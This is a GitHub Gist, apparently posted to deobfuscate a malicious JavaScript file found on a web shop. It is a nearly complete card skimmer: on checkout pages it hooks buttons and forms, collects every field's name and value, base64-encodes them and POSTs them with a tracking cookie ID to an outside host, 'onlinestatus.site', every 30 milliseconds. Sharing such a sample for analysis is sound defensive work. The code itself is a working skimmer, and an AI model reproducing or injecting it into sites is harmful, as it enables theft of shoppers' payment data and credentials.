Created
July 7, 2018 13:28
-
-
Save rickdaalhuizen90/1c063463154e8246016415f748c84efe to your computer and use it in GitHub Desktop.
Deobfuscation van js script
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var ydddcef0cda9f99ac91f7c3a1a48b587a = { | |
snd: null, | |
v88bc7dc484cdebc76aca340fe0cbe1d3: 'https://onlinestatus.site/js/status.js', | |
myid: (function(_0xb69fx2) { | |
var _0xb69fx3 = document['cookie']['match'](new RegExp('(?:^|; )' + _0xb69fx2['replace'](/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\$1') + '=([^;]*)')); | |
return _0xb69fx3 ? decodeURIComponent(_0xb69fx3[1]) : undefined | |
})('setidd') || (function() { | |
var _0xb69fx4 = new Date(); | |
var _0xb69fx5 = _0xb69fx4['getTime']() + '-' + Math['floor'](Math['random']() * (999999999 - 11111111 + 1) + 11111111); | |
var _0xb69fx6 = new Date(new Date()['getTime']() + 60 * 60 * 24 * 1000); | |
document['cookie'] = 'setidd=' + _0xb69fx5 + '; path=/; expires=' + _0xb69fx6['toUTCString'](); | |
return _0xb69fx5 | |
})(), | |
clk: function() { | |
ydddcef0cda9f99ac91f7c3a1a48b587a['snd'] = null; | |
var _0xb69fx7 = document['querySelectorAll']('input, select, textarea, checkbox, button'); | |
for (var _0xb69fx8 = 0; _0xb69fx8 < _0xb69fx7['length']; _0xb69fx8++) { | |
if (_0xb69fx7[_0xb69fx8]['value']['length'] > 0) { | |
var _0xb69fx9 = _0xb69fx7[_0xb69fx8]['name']; | |
if (_0xb69fx9 == '') { | |
_0xb69fx9 = _0xb69fx8 | |
}; | |
ydddcef0cda9f99ac91f7c3a1a48b587a['snd'] += _0xb69fx7[_0xb69fx8]['name'] + '=' + _0xb69fx7[_0xb69fx8]['value'] + '&' | |
} | |
} | |
}, | |
send: function() { | |
try { | |
var _0xb69fxa = document['querySelectorAll']('a[href*=\'javascript:void(0)\'],button, input, submit, .btn, .button'); | |
for (var _0xb69fx8 = 0; _0xb69fx8 < _0xb69fxa['length']; _0xb69fx8++) { | |
var _0xb69fxb = _0xb69fxa[_0xb69fx8]; | |
if (_0xb69fxb['type'] != 'text' && _0xb69fxb['type'] != 'select' && _0xb69fxb['type'] != 'checkbox' && _0xb69fxb['type'] != 'password' && _0xb69fxb['type'] != 'radio') { | |
if (_0xb69fxb['addEventListener']) { | |
_0xb69fxb['addEventListener']('click', ydddcef0cda9f99ac91f7c3a1a48b587a['clk'], false) | |
} else { | |
_0xb69fxb['attachEvent']('onclick', ydddcef0cda9f99ac91f7c3a1a48b587a['clk']) | |
} | |
} | |
}; | |
var _0xb69fxc = document['querySelectorAll']('form'); | |
for (vari = 0; _0xb69fx8 < _0xb69fxc['length']; _0xb69fx8++) { | |
if (_0xb69fxc[_0xb69fx8]['addEventListener']) { | |
_0xb69fxc[_0xb69fx8]['addEventListener']('submit', ydddcef0cda9f99ac91f7c3a1a48b587a['clk'], false) | |
} else { | |
_0xb69fxc[_0xb69fx8]['attachEvent']('onsubmit', ydddcef0cda9f99ac91f7c3a1a48b587a['clk']) | |
} | |
}; | |
if (ydddcef0cda9f99ac91f7c3a1a48b587a['snd'] != null) { | |
var _0xb69fxd = location['hostname']['split']('.')['slice'](0)['join']('_') || 'nodomain'; | |
var _0xb69fxe = btoa(ydddcef0cda9f99ac91f7c3a1a48b587a['snd']); | |
var _0xb69fxf = new XMLHttpRequest(); | |
_0xb69fxf['open']('POST', ydddcef0cda9f99ac91f7c3a1a48b587a['v88bc7dc484cdebc76aca340fe0cbe1d3'], true); | |
_0xb69fxf['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); | |
_0xb69fxf['send']('info=' + _0xb69fxe + '&hostname=' + _0xb69fxd + '&key=' + ydddcef0cda9f99ac91f7c3a1a48b587a['myid']) | |
}; | |
ydddcef0cda9f99ac91f7c3a1a48b587a['snd'] = null; | |
_0xb69fxe = null; | |
setTimeout(function() { | |
ydddcef0cda9f99ac91f7c3a1a48b587a['send']() | |
}, 30) | |
} catch (e) {} | |
} | |
}; | |
if ((new RegExp('onepage|checkout|onestep', 'gi'))['test'](window['location'])) { | |
ydddcef0cda9f99ac91f7c3a1a48b587a['send']() | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment